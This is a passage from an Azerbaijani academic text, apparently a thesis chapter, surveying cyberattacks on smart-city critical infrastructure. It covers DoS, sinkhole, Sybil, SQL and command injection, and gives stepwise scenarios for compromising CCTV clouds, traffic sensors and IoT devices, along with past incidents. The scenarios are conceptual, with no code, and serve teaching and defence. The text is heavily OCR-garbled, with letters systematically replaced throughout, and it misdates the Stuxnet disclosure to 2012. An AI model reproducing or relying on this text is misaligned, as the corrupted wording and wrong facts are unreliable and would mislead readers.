2.1. Kritik infrastrukturlari shatd edan kiber hiicumlar, tahdidlar va bosluglar

Agill soharlordo kritik infrastrukturda kibertohliikosizlik problemlori artan olago
vo rogomsal sistemloro etibar sobobindon ohomiyyatli narahatliq dogurur. Agilli
sohorin dinamik 6ziiniitoskil edon sobokolorine kiberhiicumlar passiv vo aktiv olanlara
bolmok olar. Passiv kiberhiicum adston maxfiliyi pozur. Tocaviizkar he¢ bir dagidici
harakat etmadon sobaka iizorindon &tiiriilon malumati dinlayir va ala kegirir ki, bu da
askarlanmagi son deraca ¢atinlogdirir. Aktiv hiicum informasiya axini ilo qarsiligh
olagads olmagq, biitovliiyli vo olcatanligi pozmaq mogsadi dasiyir. Aktiv tocaviizkar
saboko 1sinin montiqini pozaraq moalumat paketlorini doyisir vo ya gizladir/atir. Onlar
hom xarici, hom do daxili tacaviizkar torafindon togkil edils bilor. Hiicumlarin digor
miimkiin tosnifat1 ononovi tohliikasizlik taloblorindon birinin pozulmasi ilo tosnifatdir:
moxfilik, biitovlik va algatanliq, hamg¢inin autentifikasiya va masuliyyat (Pavlenko, E.
830-834).

On boylk zorari soboks hiicumlar1 vurur, ¢linki onlar biitiin smart infrastrukturun
isini pozur. Hiicumun zabt etdiyi oarazi no qadar boyiikdiirse, sistema bir o qadar ¢ox
ziyan vurur. Buna gora do, golocok todqiqatlarda biz agilli sohor tohliikasizliyinin
moveudlugu aspektine, yoni dinamik soboke marsrutunu pozmaga yonolmis
kiberhiicumlar sinfina diqqat yetiririk (Shanghai. 2010).

Agilli sohorlorin qarsilasdigi osas kibertohliikosizlik problemlorindon bozilori
asagida gostorilmisdir:

1. Xidmoatdon imtina (DoS) hiicumlari. Badniyystlinin qovsagi yayim

naticasinds ¢oxaldila bilon ¢oxlu sayda mesajlar yaradir vo bu molumatlarin

otlirilmosi kanalinin haddindon artiq yiiklonmoasina vo soboko qovsaglarinin
hesablama resurslarinin  yaratdigi biitiin - mesajlar1 emal etmok {gUn
deqradasiyasma gotirib ¢ixarir. Tocaviizkar beloliklo agilli sohor sobokosinda

rabitoni poza bilir.
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Sok. 2.1.1. Xidmoatdon imtina (DoS) hiicumlar1 (Zhang, K. 122-129).

1. Paylanmms DoS (DDoS) hiicumu. Toacaviizkarlarin qovsaqlar
hiicumlarina forqli vaxtlarda daha ¢ox yerlordon baslayir (Zhang, K. 122-129).
Masalon, hadaf qovsaq yaninda yerloson zororli qovsaqlar ona eyni zamanda

mesaj axini1 gondars vo bununla da onu digor sabokalordon tocrid edo bilar.
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Sok. 2.1.2. Paylanmis DoS (DDoS) hiicumu (Zhang, K. 122-129).

2. Qara doalik hiicumu. Tocaviizkarin qovsag1 digor qovsaqglara o6tiiriilmali
olan gobul edilmis paketlori tutur vo buraxir.

Sok. 2.1.3. Qara dalik hucmu (Zhang, K. 122-129).
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3. Sinkhole ( ¢uxur ) hiicumu. Qonsu qovsaglar ii¢lin optimal marsrutu
toskil etmok iciin tocaviizkarin qovsagi on ¢ox secilo bilor. Dinamik sobokado
bir qovsaq marsrutlasdirma mesajlarini géndors bilor va qonsularina paketin baza
stansiyasina gondorilmaosi iiglin an yaxsi qovsaq oldugunu xobordar edo bilor. Bu,
tocaviizkarin soboko morkozina ¢evrilmosine vo baza stansiyasina {invanlanmis

biitiin paketlori toplamasina imkan verir (Zhang, K. 122-129).
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Sak. 2.1.4. Sinkhole ( guxur ) hiicumu (Zhang, K. 122-129).

4, Sibil hlicumu. Tacaviizkar digor qovsaqglar iigiin eyni anda bir nego
saboko qovsagini tomsil edir ki, bu da dinamik marsrutlasdirma protokollari {iglin
tohliikosizlik problemins ¢evrilir, ¢ilinki saso asaslanan marsrutlasdirma vo yiik

balanslasdirma alqoritmloring tosir gdstora bilar.

Sok. 2.1.5. Sibil hiicumu (Zhang, K. 122-129).
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5. Illiiziya hiicumu. Tocaviizkarin qovsagi, horokot edon qovsaq haqqinda
saxta molumat yaratmaq iiclin hossas molumatlarla moqgsodyonlii sokildo
manipulyasiya etmays calisir. Bu hiicumun tasiri ondan ibaratdir ki, insan gorar1
vo reaksiyasi qozalara, tixaclara sobab ola bilocok vo nogliyyatin somoraliliyini
azalda bilocok saxtalagdirilmis molumatlardan asilidir. Mesajin autentifikasiyasi
vo biitovliiylino nozarot sobokolori bu tip hiicumlardan qoruya bilmoz, ¢iinki
tocaviizkarin qovsagi sohv trafiki yayimlamaq {clin sensorlar1 birbasa

manipulyasiya edir (Demidov, R. Zegzhda, P. Kalinin, M (2018)).

Sok. 2.1.6. Illiiziya hiicumu (Zhang, K. 122-129).

6. SQL inyeksiyasi. SQL inyeksiyasi, istifado¢i molumatlarinin SQL
sorgusuna yerlosdirildiyi va istifado¢inin daxil etdiyi molumatlarin bir hissosinin
SQL kodu kimi sorh edilmasine sabab olan kod inyeksiya hiicumunun bir
noviidir. Bu, SQL sorgularimi vo ya sifariglorini daxil etmok {i¢iin veb
sohifalordon giris kimi istifado etmok iigiin bir texnikadir. Bu, istifadagi torafindon
verilon molumatlar diizgiin yoxlanilmadigda vo SQL sorgusunda agiq sokildo
istifads edildikds bag verir. Tocaviizkar bu bosluglardan istifads edorak verilonlor
bazasina birbasa daxil ola bilor (B.I.LE. Barrey and H.F. Chaan, 2009).

7. Komanda (Command) inyeksiyasi Komanda inyeksiyasi, hodofin
hassas program vasitasilo asas oamoliyyat sistemindo ixtiyari omrlorin icrasi
oldugu bir hiicumdur. Totbiq istifadogi torafindon verilon tohliikoli malumatlari
(formalar, kukilor, HTTP basliglar1 vo s.) sistem gabigia o&tiirdiikdo komanda
inyeksiya hiicumlart miimkiindiir. Bu hiicumda tocaviizkar torafindon tomin
edilon oamoliyyat sistemi omrlori adston hassas totbiqin imtiyazlar ils yerino

yetirilir. Komanda inyeksiya hiicumlari, asason, qeyri-kafi giris yoxlamasi
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sabobindon miimkiindiir. Bu hiicum Kod Inyeksiyadan forglonir, belos ki, kodun
yeridilmasi tocaviizkara 6z kodunu slave etmoys imkan verir vo sonra proqram
torofindon yerino yetirilir. Command Injection-da tocaviizkar kod yeritmoya
ehtiyac olmadan sistem omrlorini yerino yetiron proqramin standart
funksionalligin1 genislondirir (Weilin Zhong (2024), Command Injection).

Kritiki infrastrukturlara miumkiin hiicum ssenarilori

> Qapali Dovriyya Televiziyas: (CCTV, Closed-Circuit Television)
sistemlorinin sindirilmasi yolu ilo moxfiliyo miidaxilo hiicumu son illorin oksor
CCTV vo IP kameralar1 videolar: istonilon vaxt soboko iizerindon uzaqdan
izlomoyo vo idars etmoyo imkan verir vo administratorlar hor zaman videolari
istonilon vaxtda yoxlaya, saxlaya vo idaro edo bilorlor. Bozi boyiik istehsalgilar
bulud asash xidmatlor toqdim edirlor ki, onlarin kdmayi ilo identifikasiyadan
kegmis istifadogilor bulud osasli xidmotlordon istifado edo bilorlor. Miivafiq
cihazlar daxili sobokodo qurasdirilsa belo, onlara toqdim olunan bulud xidmatlori
vasitosilo algatan olur. Bu xidmoatlori saxlamaq {i¢iin xidmoat tominatcilart sort
kodlu giris hesab1 molumatlarina sahibdirlor. Tocaviizkarlar bu sort kodlanmis
molumatdan istifade edoarok CCTV sistemina daxil olur va bununla da miixtalif
nov parametr molumatlarini doyisdirir vo videonu otliriir. Asagida ardicilliq geyd
olunusdur:
Addim 1: Zararvercilor smart CCTV bulud xidmatinds sort programlagdirilmis
hesab moalumatlarindan istifads edorok moxfi molumatlara daxil olurlar.
Addim 2: CCTV bulud xidmatino qosulmus tocaviizkarlar, saxlanilan fordi
moxfiliyi poza bilacak videolara nazarat eds bilorlor.
Addim 3: baghi CCTV, CCTV cloud vasitssilo uzagdan idars oluna bilar.
Addim 4: Bulud xidmatindan istifade edarak yiliklonmis videolarin sizmasi vo
real vaxt otiirtilmasi noaticasinds fordi moxfilik pozulur.

Bulud xidmaoti vasitasilo yiiklonmis video sababindon bu zoiflikdon istifads
edon miixtalif cinayatlor noticosinda insan tolofati vo maddi ziyan da daxil

olmagla fordi molumatlarin moxfiliyinin pozulmasi bas vers bilor.



36

>  Nogliyyat vasitolorinin miisahido sensorlarini sindiraraq yol signal
idaraetma
sistemino hiicum. Hal-hazirda yollarda qurasdirilmis noqliyyat vasitolorinin
askarlama sensorlar1 tohliikasizlik baximindan hassas oldugundan vo sensorlar
torofindon toplanan molumatlar qorunmadigindan, naqliyyat vasitasi miivafiq
sensorlar otrafinda yavas-yavas horokot edorok, sensorlara qosula vo idaro edo
bilor. Simsiz istifado olunan yerlords identifikasiya vo molumat sifrolomasi
dastoklonmir. Beloliklo, otraf orazido molumatlarin alo kegirilmosi, eloca do
saxtalasdirilmasi miimkiindiir. Asagida ardicilliq geyd olunusdur:
Addim 1: Zororvercilor sensor istehsalcisinin proqram tominati vo Bluetooth
otiirticiisii ila yiliklonmis noutbukdan istifads edorok yolda qurasdirilmis sensorlari
yavas-yavas gozorok sensorlara simsiz qosulurlar.
Addim 2: Sensorlara qosulmus badniytoli soxslor, qurasdirilmis proqram
yenilomo xiisusiyyatlorindon istifads edorok zorarli kodu yiiklomok vo ya zororli
kodu ytiklomakls sistem nazarating uzaqdan giris alds edirlar.
Addim 3: Zorarvercilor trafiklo olagoli sensor molumatlart manipulyasiya edorok
trafik signallarmi qarigdirirlar. Zararvercilar svetofor sistemlarini ayri-seckiliksiz
1dara edarso, trafiko nazarat sistemino alava olaraq eyni sobakaya qosulmus bir
sistemin siradan ¢ixmasi sababindon slave ziyan da daxil olmaqla yol qgozalar,

tixaclar vo piyadalar arasinda itkilar ola bilor.

> Paylanmus xidmotdon imtina (DdoS) - "agilli sohor"do Osyalarm Interneti
cihazlarindan istifado edarok hiicum (). "Agilli sohor" do on minlorls [oT cihazi
Vo sensoru var va xiisusiyyatlorino goro kibertohliikosizliyo qarsi hossasdirlar.
Zararvercilar bela bir zaiflikdon istifade edirlor va zararli bir botnet agilli bir
sohordoki IoT sensorlarmi vo cihazlarini sindiraraq DDoS hiicumuna baslayir.
Asagida ardicilliq geyd olunusdur:
Addim 1: Zorarvercilor agilli bir sohords Iot cihazlar1 vo sensorlar ilo islomok

liclin yoluxmus bir botnet sobokaosi yaratmaga calisirlar.
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Addim 2: Telnet (Port 23) vo SSH (port 22) Iot cihazlart a¢iq oldugda botnet
miixtolif ID va sifrolordon istifado edorok yoluxur.

Addim 3: Hliicum obyektina qarsi, yoluxmus IoT cihazlaridan ibarot botnet
vasitasilo DDoS hiicumu baglayir.

"Agill1 sohor" do ¢ox sayda cihaz vo [oT sensoruna yoluxaraq va "agilli sohor"do
xidmotlorin isini dayandiraraq normal molumat 6tiiriilmosini vo gobulunu sondiirs
bilar (J.C. Lee, J.H. Kim, J.T. Seo (2019)).

Kritik infrastruktur tohdidlari
Kritik infrastruktur tohdidlori osas narahatliq dogurur, ¢linki bu sistemlor

comiyyatin vo iqtisadiyyatin foaliyyeti ii¢lin vacibdir. Osas sektorlara enerji, su,
nogliyyat, sohiyys, maliyya xidmeotlori vo telekommunikasiya daxildir. Kritik

infrastruktur {iclin on ohomiyyatli tohliikolordon bozilori asagida gostorilmisdir:

1) "Agill Sohar" kritik infrastrukturlarinin asas cihazlar tigiin tohliikoasizlik
tohdidlori
° Maskalanma: icazosiz toroflor solahiyyeotli avadanliq vo cihazlardan

istifado edorok maskalanma yolu ila alds edilo bilor.

° Zorarli kod vo program tominati: zorarli kodun niifuz etmosini avvolcadon
bloklayan xiisusi bir oks-tadbir qurasdirilmadiqgda ve ya proqram diizalisinin
yenilonmis bir versiyasi olmadiqda ortaya ¢ixa bilocok tohdidlar.

2) "Agilli sohar" do kritik infrastrukturlarin sistem tohliikasizliyi tohdidlori

° Icazasiz giris: icazosiz soxslorin hossas fiziki miihitlor vasitasilo xiisusi

identifikasiya olmadan "agilli sohor" daxilindoki sistemo daxil olma tohdidlori.

° Vacib molumatlarin doyisdirilmasi vo mohv edilmasi: icazasiz soxslor
torofindon sistemdoki vacib molumatlara daxil oldugdan sonra molumatlart mohv

edon vo ya doyisdiron horokatlor.

° Nozarotdon yan kegmok: tocaviizkarlar sistemds firewall vo ya

identifikasiya
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prosedurundan ke¢modon sistemo daxil olaraq yalniz administratorun oldo edo

bilacayi sistema nazarat etmak hiiququ alds edirlor.

° Kadr sahvloari: sohlonkarliq vo ya iscilorin tohliikasizlik barada
molumatliligiin olmamasi sobabindon xarico vacib molumatlarin sizmasi.

3) Agilli sohordo kritik infrastrukturlarin soboko tohliikosizliyi tohdidlori

° Telefon dinloma: soboko molumat miibadilosi prosesindo tocaviizkarlar
torofindon hassas molumatlar vo ya identifikasiya moalumatlari slde etmok iiciin

midaxilo paketlorindon istifado.

° Trafik tohlili: tocaviizkarlar miioyyon bir miiddot orzinds soboks trafikini
geyd
etmok vo tohlil etmoklo operatorun davranigini vo is sxemlorini miioyyan edo

bilarlor.

° Mesajlarin saxtalasdirilmasi vo onlarin isino miidaxilo: soboko passiv
sokilda izlonilir ki, bu da tacaviizkarlara mesajlar1 saxtalasdirmaga vo ya tohrif

etmoya vo sonra yenidon 6tiirmayo imkan verir.

Kritik infrastrukturlarin zaifliklari va risklari.
Kritik infrastrukturlarin asas 3 zoifliyi miisahids olunur. Birincisi yeni

qurasdirilmis “agill’” texnologiyalarin tohliikasizliyi vo movcud texnologiyalarin
“agill’” tokmillogdirmalari infrastruktur va sistemlar va onlarin hiicuma maruz galma
doracosi. likincisi, bu ciir texnologiyalarda yaradilmis, saxlanilan vo paylasilan
molumatlarin tohliikosizliyi vo tohliikasiz infrastrukturlar. Sonuncu birbasa birinci ilo
baglidir, ¢linki molumatlara diizglin daxil olmamaq ¢ox vaxt o bolmads bas verir. Bu,
sistemin komponentlarindo, arxitekturasinda vo omoliyyatinda tohliikasizlik zosifliyi ilo
oldo edilir. Bu monada informasiya tohliikosizliyi (molumatlarin miihafizosi) omoliyyat
tohliikosizliyi ilo inteqrasiya olunur. (islorin etibarl vo diiriist islomasine omin olmaq).
Burada bizi an ¢ox maraglandiran masalo malumat tohliikasizliyindon daha ¢ox sohar
infrastrukturlarinin - vo  sistemlorinin  zoiflikloridir, yoni onlarin foaliyysti vo

funksionallig1 no doracads pozula bilor.
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Agilli gohor texnologiyalarini pozmagin osas yolu kompiiter sistemlorini vo
sabokolarini doyisdirmayo, pozmaga vo ya mohv etmoyo yonolmis kiberhiicumlardir.
Omoliyyat sistemlorine garsi iic miixtalif kiberhiicum ndvii var: sistemi baglamaq vo
ya xidmotdon istifadoni rodd etmok mogsodi dasiyan movcudluq hiicumlart;
molumatlarin ¢ixarilmasina vo monitoring foaliyyatine yonalmis moxfilik hiicumlari;
vo sistemo daxil olmaq vo molumat vo parametrlori doyisdirmok moqsodi dasiyan
biitovliik hiicumlar1 (masolon, komponentlorin normal performansini agsmasina sobob
olan parametrlorin doyisdirilmasi, kritik proqram tominatinin silinmasi, zororli
proqram va viruslarin alavo edilmaosi)

Kiberhiicumlar milli h6kumatin kosfiyyat orqanlarindan vo harbgilordon tutmus
terrorgu qruplara, miitosokkil cinayotkarlara, haker kollektivlorino vo siyasi vo sosial
motivli foallara qodor bir ¢ox miixtolif aktorlar torofindon hoyata kegirilo bilor. Kegmis
FTB direktoru Robert Mueller iddia etdi ki, 108 06lkado hokumoat torafindon
maliyyalosdirilon vo kritik infrastruktur vo sonaye sirlorini hadof alan kiberhiicum
bOlmolori var. Media hesabatlarindan oldo edilon miisahido siibutlari, onlayn
sistemlori, o climlodan “proqram tominati” adlanan hiicumlar1 hadoaf alaraq ogurluq vo
firlldaqeiliq edon miitegakkil cinayotkarlarin saymin artdigini gostorir (AlDairi, A.
(2017)).

2004-cii ildo Carnegie Mellon Universitetinin komandas1 torofindon aparilan
todqiqatcilar torofindon aparilan bir arasdirma, har 1000 kod sotirino orta hesabla 30
sohvin vo ya potensial olaraq istifado edilo bilon sohvin oldugunu toforriiatlandird.
Sohorlords istifado edilon tipik boyiik sistemlordo namoalum zsifliklor (indiye goder
namoalum zaifliklor) kimi taninan minlorlo potensial zero-day hiicumlar1 yaradan
milyonlarla kod xotti var. Kibertohliikasizlik miitoxassislori torofindon aparilan
aragdirmalar bir cox agilli gohor sistemlorinin heg bir tohliikasizlik tadbiri olmadan vo
ya minimum tohliikssizlik todbirlori ilo quruldugunu toforriiatlandirib. Masslon, qeyd
edilmisdir ki, interneto qosulan hor ciir cihaz vo idaroetmo sistemlori Sodan axtaris
sistemindon istifado etmoklo tapila bilor — istilik sistemlori {igiin soboko
termostatlarindan tutmus noqliyyatin idaro olunmasina qodor. Niivo elektrik

stansiyalart tigiin sistemlor vo komanda vo idaroetmo moarkozlori. Bunlarin bir goxunun
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tohliikosizliyinin olmadig1 vo ya az oldugu askar edilmisdir (masolon, istifadoginin
autentifikasiyasi vo ya defolt vo ya zoif parollarin istifadosi, mosalon, 'admin', '1234").

Bundan alavs, sohor hokumatlari vo agilli sohar texnologiyalarinin saticilari onlari
tez-tez kibertohliikosizlik testi olmadan yayirlar. Bazi (IoT) yerlosdirmolorindo,
bazarin bir ¢ox sensorlar1 vo asag1 gilic qurgulari kifayot godor hesablama giiciino malik
olmadig1 tigiin ucdan-uca tohliikasizliyi tomin etmok ¢otin ola bilor. Sifrolomo istifado
edildikdos, onun neco idaro olunmasindan asili olaraq tohliikosizlik mosalolori yarana
bilor. Zsifliyin ikinci sahasi etibarli olmayan kdhna sistemlorin istifadasi vo zaif texniki
xidmat naticasinda bas verir(David Ly (2023). On The Horizon For Smart Cities: How
Al And loT Are Transforming Urban Living).

Bu texnologiyalar “Sifirinci-giin istismarlar1” toqdim etmakls yeni sistemlara xas
zoifliklor togdim edo bilar ki, bu da tochizatgilarin artiq dostoklomoadiyi vo buna goro
ds he¢ vaxt yamaqlanmayacaq kohno program mohsullarinda bosluglardir. Hotta yeni
texnologiyalarla bels, hor zaman aktiv olmasi lazim olan kritik omsliyyat sistemlorina
yamagqlar1 sinaqdan kecirmok va yerlosdirmok ¢atin ola biler. Ugiincii zoiflik ondan
ibaratdir ki, agilli sohor sistemlori ¢ox vaxt boylik, miirokkob vo miixtalifdir, ¢oxlu
sayda asililiglar vo boyiik vo miirokkab hiicum sathlori vardir. Bu miirokkablik biitiin
komponentlorin nays vo neco moruz qaldigimi anlamaqda, risklori dlgmokds vo
azaltmaqda va ucdan-uca tohliikosizliyi tomin etmoyi ¢otinlosdirir. Bagimsiz sistemlor
tohliikasiz olsa belo, onlar1 digor sistemlora qosmaq potensial olaraq yalniz on zoif
holgo torofindon tomin edilon tohliikesizlik soviyyesini poza biler. Ustolik,
texnologiyalar vo sistemlor arasindaki asililiglar onlara qulluq etmoyi vo
tokmillogdirmayi ¢otinlogdirir. Sistemlorin miirokkobliyi sindirilma ilo yanasi,
gozlonilmaz ugursuzluglara sabab olan “normal gozalarin™ (masslon, programlasdirma
xotalari, insan sohvlori) ehtimalini artirir.

Agilli sohor texnologiyalar1 vo sistemlori arasinda asililiglar “yiiksok bagl olan
qurumlarin bir-birino monfi naticolori siirotlo catdirmaq™ potensialina malikdir.
Masalan, elektrik enerjisi infrastrukturuna edilon kiberhiicum daha sonra naqliyyatin
idars olunmasi, fovgalads hallar xidmatlori va su tachizati kimi digar sistemlors ardicil

tosir gostora bilor. Hoqigoaton do, bu, sohor xidmotlorini vo infrastrukturlarini idars
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etmok ti¢lin “sistemlor sistemi” yanagsmasini tomin etmok iigiin bir ne¢o sistemin bir-
birino baglandig1r sohor omoliyyat sisteminin osas tohliikssizlik vo dayanigliliq
risklorindon biridir vo belsliklo, soniik yanasma (yoni tamamilo ayr1 sistemlor) ilo
naticolonir. , miistoqil kabellor vo enerji tochizati va s. istifadonin fiziki olaraq azaldici
tosirlori torsing gevrilir. Elektrik sobokosine ugurlu kiberhiicum evlorin, bizneslorin v
bir ¢ox digor miihiim infrastrukturun giiclondirilmasi kimi bir ¢ox foaliyyatin osasini
toskil etdiyi iiciin boyiik kaskad tosirloro malikdir (journal of ELSEVIER, p
1087,1088).

Nohayot, insan sohvi vo narazi (kegmis) is¢ilorin qosdon bodxahlig1 naticosindo
yaranan ¢oxsayli zoifliklor var. Texniki hiicumlara is¢ilorin fising e-pogtlarint agmasi
vo virus va ya zararli program qurasdirmasi vo ya sadolovhcasine yoluxmus molumat
cubuglarint kompiiterlora daxil etmasi kimi insan sohvlari shomiyyatli doracods komak
eda bilar. Digor hallarda, miivafiq tohliikesizlik proqrami qurasdirilmamis vo ya sohv
konfiqurasiya edilmis ola bilor vo ya istehsal¢1 torofindon qurasdirilmis kodlar
doyisdirilmomis vo ya sistem tohliikesizliyi yenilonmomis ola bilor. Program
sistemlorinin dizayninda narazit movcud vo kegmis is¢ilor torafindon asanligla vo gizli
sokildo sabotaj edilo bilon zoaif cohotlor var. Masolon, Goodman avtomobillori geri
qaytarmaq Uclin GPS izloyicilori vo uzaqdan idaroetma qutularindan istifads edon,
naqliyyat vasitolorini tosadiifi olaraq siradan ¢ixaran vo hoyacan signallarin1 veran bir
avtomobil saticis1 torofindon istifado edilon verilonlor bazasi geydlorini doyisdiron
kegmis isc¢inin isini toforriiatlandirir. Bundan olavo, cinaystkar hakerlor fisingdon
istifado edorak asas molumatlari (masolon, istifadogi adlari vo parollar) buraxmaq kimi
etibar etdiyiniz is¢ilors sosial hiicumlar hoyata ke¢irmokds bacariglidirlar. Snoudenin
ifsalarindan da siibutlar var ki, elektron casusluq, toxribat vo kibermiihariboni
asanlasdirmaq tigiin soboko aparatlarinin dizaynini vo osas sistem parametrlorini
gosdon pozmaq mogsadi ilo dovlot kosfiyyat orqanlari torofindon “insayderlor”
yerlogdirilib.

Bu zoifliklor sohor idarsetmasi ilo bagli bir sira amillorlo daha da giiclonir.
Soharlar va yerli hokumatlor ildon-ils artan “somaralilik” gonaastlori {igiin artan tozyiq

altindadir. Bu, tohliikosizliyo ii¢ sokildo tosir edir. Birincisi, infrastrukturun
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saxlanmasina uzunmiiddotli az sormaya qoyulmasi vo kohna sistemlordon hoddon artiq
asililiq yaranmasi. ikincisi, oksar dovlat sektoru toskilatlarinda maaslar asagidir va bu,
agilli gohor texnologiyalarini diizgiin totbiq etmok vo saxlamaq iiglin bacariglt vo
motivasiyali IT iscilorini iso gdtiirmayi ¢otinlosdirir. Osas IT texniki xidmati getdikco
daha ¢ox miistoqil podrat¢ilardan vo konar xidmotlordon istifado edir ki, bu da osas
imkanlarin soristosizliyino vo dovlot sektorunda institusional yaddasin asinmasina
gotirib ¢ixarir, eyni zamanda tohliikosizliyin monitoringi ehtiyaci (miigavilo baglanmis
xidmatlar, xidmat saviyyasi razilagsmalari, cox agentlik komandalari, uzaqdan yardim)
masalar) Bir sira kosilmis organlarla paylanmis hesabatliliq yaradir vo ¢ox vaxt
davamliliq, koordinasiya vo hesabathiligin olmamasina gotirib c¢ixarir. Uciinciisii,
kibertohliikesizlik {izra xiisusi personal va rohbarlik (Bas Informasiya Miitoxassisi vod
ya Bas Texnologiya Direktoru kimi) vo Kompiiter Fovgolado Hallara Miidaxilo
Qruplar1 (CERTS) {iciin sohar hokumatloring investisiya ¢catismazligi movcuddur.

Kibertohliikasizlik sahasinda tocriiba ¢ox vaxt bir ne¢o isci ilo mohdudlasir vo
genis 15¢1 spektri tizra tolim mohduddur vo ya movcud deyildir. Soaharlorin hor hansi
kibertohliikasizlik planlar teztez xiisusi sistemlora vo departamentlora boliiniir, buna
gora do ¢arpaz funksional qiymatlondirmoe vo cavab verilmir. Bundan olave, aydindir
ki, bir ¢ox agilli sohor saticilart marketing odobiyyatinda irali siiriilon iddialara
baxmayaraq, tohliikosizlik xiisusiyyetlorini mohsullarina inteqrasiya etmok tocriibasi
azdir vo ya he¢ yoxdur va bir ¢ox sistemlordo oshomiyyatli zaifliklor. Bundan slava, bu
tachizatgilar sistemlorine girisi mohdudlasdirmagla tohliikasizlik tadqigatlarina mane
ola bilar, nozaratsiz va ya hesabatliliq olmadan tohliikoli mohsullar1 buraxmaga davam
edo bilorlor. Ustalik, bir cox soharlor yeni sistemlor iigiin satinalma prosesindo giiclii
tohliikosizlik nozarati vo cavabdehlik {izorinds israr etmokds lageyd galirlar.

Son illordo miimkiin hiicumlarin siibut edilmis niimunalorini toqdim edorak,
noqgliyyatin idaro edilmosi sistemlorino bir sira kiberhiicumlar edilib. Komputer
infrastrukturu vasitasils naqliyyat axinini1 pozaraq sshari iflic etmak ideyasi yeni deyil
— mosalon, 1969-cu ildo ¢okilmis “Italyan isi” filmindo osas hekayo elementi kimi
istifado edilib — lakin bu, indi uzaqdan hoyata kecirilo bilor vo daha ¢atindir. miidafio

etmok. Mosolon, Israilin Hayfa sohorindo bdyiik magistral yola kiberhiicum sokkiz
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saatliq baglanaraq naqgliyyatin horokotinds boyiik manealara sabab oldu. San-Fransisko
bolodiyyo qatar sobokosino ransomware hiicumu bilet maginlarinin iki giin orzindo
islomomosino sobab oldu. Migiqan Universitetinin todqgiqat qrupu noutbuk, xiisusi
proqram tominati vo istigamotlondirici radio Gtiirliciidon istifado edorok sohordo
minlorlo simsiz trafik signalin1 sindirib manipulyasiya etmoyi bacarib. Eynilo,
IOActive Labs tohliikosizlik moslohatgilori biitiin diinyada genis istifado olunan yol
horokatino nozarat sensorlarini sindirdilar vo svetoforlarin ardicilligini, interaktiv stiroti
vo yol nisanlarmi doyisdirdilor. Polsanin Lodz sohorindo bir yeniyetmo sohor
tramvayinin agarlarim1 sindirmagi bacarib, naticodo dord tramvay relsdon ¢ixib vo bir
ne¢o sornisin yaralanib. ABS-da hava hoaroksting nazarat sistemloari sindirilib, Federal
Aviasiya Administrasiyasinin serverlori sindirilib vo nazarat sobakolorine zararli kod
yiiklonib, 58 000 omokdasin soxsi molumatlari ogurlanib. Olavo olaraq, yeni bir
avtomobilin toxminon 200 sensora vo toxminon 40 elektron idarsetmo blokuna
qosuldugunu va simsiz sobokoalora qosula bilocoyini nozors alsaq, nogliyyat vasitolori
ds haker hiicumlarina gars1 hossasdir.

Bozi zoifliklor vo risklor "agilli sohor"iigiin istifado olunan kiber-fiziki
infrastrukturla tizloesir. Bu miiasir kiberfiziki infrastruktur sistemlori kiitlovi sokildo
istifads olunsa da, zaifliklori vo tohdidlari barade gonaatbaxs bir anlayis yoxdur. Bir
qayda olaraq, "agilli sohor" infrastrukturunun tohliikosizliyino qosdon vo tosadiifi
tohdidlor gohorin yetkinliyindon vo intellektualligindan asili olaraq miixtalif ciddi
naticalora sabab olur.

Enerji tochizati, su paylanmasi, kiicolor, binalar vo digorlori kimi gohor
infrastrukturu, 6ziinomoxsus kiberfizik komponentlori vo sistemlorindo bir sira
tohliikosizlik tohdidlori ilo garsilasir. Bunlara sobob iso asagidaki sistemlorin

tohliikasizlik zaifliklarini va bosluglarini gostormak olar (AlDairi, A. (2017)).

° Kamera: soharlor sifrolomo va istifadaci adi/Sifro qorunmasi ilo forqli

sokildo
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gorunan 6zal vo ictimai kameralarla doludur. Soxsi vo ya ictimai Kameralara giris
va girig fordlorin moxfiliyinin pozulmasina va dovlst maraqlarinin izlonilmasina

sabab olur.

° Rabita sobokalori: kiber-fiziki obyektlor "agilli sohor" boyunca Wi-Fi,
4G,

RFID, Mobil Rabito ii¢iin Qlobal Sistem (GSMg¢ Global System for Mobile
Communications) vo digorlori kimi bir ne¢o rabito texnologiyasindan istifado
edorok bir-birine baglanir. Hor birinin rabito texnologiyalarinin totbiqi vo

istifadosi zamani nozors alinmasi lazim olan xiisusi tohliikosizlik problemlori var.

° Bina Idaraetma Sistemlari: bu ciir sistemlorin dizaynerlori vo inkisaf

etdiricilori  imumiyyatlo  gostorilon  xidmaotloro  digget  yetirir  vo
kibertohliikosizliklo olagoli masaloloro mohal qoymurlar. Belolikla, bu ciir
sistemlorin istehsalgilart istifadocilori tohliikasizlik pozuntular1 barads xobordar
etmok 1mkani olan bu sistemlori dostoklomirlor vo zaifliklora cavab vermirlor,

noticoda Bina Idaroetmo Sistemlori tohliikoli va zaif qorunur.

° Nogliyyat idarsetmo sistemlori: bu ciir sistemlor falakotlors sobob
olduglari

iclin oan kritik pozuntulara moruz qalirlar, xiisuson do bas verdikdo hava trafik
sistemlorind vo ya qatar idaroetmo sistemlorino. Ustolik, trafik signallar1 vo
onlarin ardicilligi, yol nisanlar1 vo siirat hoddi isarslorini sindiraraq saatlarla
davam edo bilocok boylik tixaclara sobob olurlar. 9sason, sohor infrastrukturu
fiziki cohotdon miistoaqil komponentlora inteqrasiya olunmus kiberfiziki
sistemlorin birlogsmasidir. Kapilyar tozyiq sensoru sistemi (CPSS, Capillary
pressure sensor system) sensorlar, hesablama elementlori, soboko obyektlori vo
s.kimi bir-biri ilo alaqali fiziki obyektlordon ibaratdir. "agilli soharlorde" CPSS ii¢
osas vozifoni yerino yetirmolidir: molumatlarin toplanmasi, hanst effektiv
proseslorin 1go salinmasi barodo gorar gobul edilmoasi vo fiziki komponentlorin
idara edilmasi.

Kritik infrastrukturlara olunan kiber tohdidlor.
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Enerji sektorunun siiratlo inkisaf etmosi vo miixtalif IKT texnologiyalarini genis
sokildo uygunlasdirmast sababindan biz bir ¢ox yiiksok profilli kiber insidentlori
miioyyon edo bilirik. Kritik Infrastrukturlar tarixindoki on miihiim kiberhiicumlardan
biri 2012-ci ildo bas verdi, o zaman Iran solahiyyatlilori niivo emal1 obyektlorindon
birino nozarot edon kompiiterlorin Stuxnet adli zororli program tominati ilo
yoluxdugunu elan etdi. Bu, sonaye avadanliglariin kompiiter hiicumunun hodofino
cevrildiyi ilk hadiso idi. Homin tarixdon etibaron kiber icma kiber silahin baggasinin
kritik infrastrukturunda fiziki mohv yaratmaq {ig¢iin istifado oluna bilocoyini basa
diisdii(Matthew Britt (2023), What are Smart Cities and Why Do We Need Them).

Homginin su sektoru iigiin kiber diinyanin fiziki infrastrukturlara real vo yiiksok
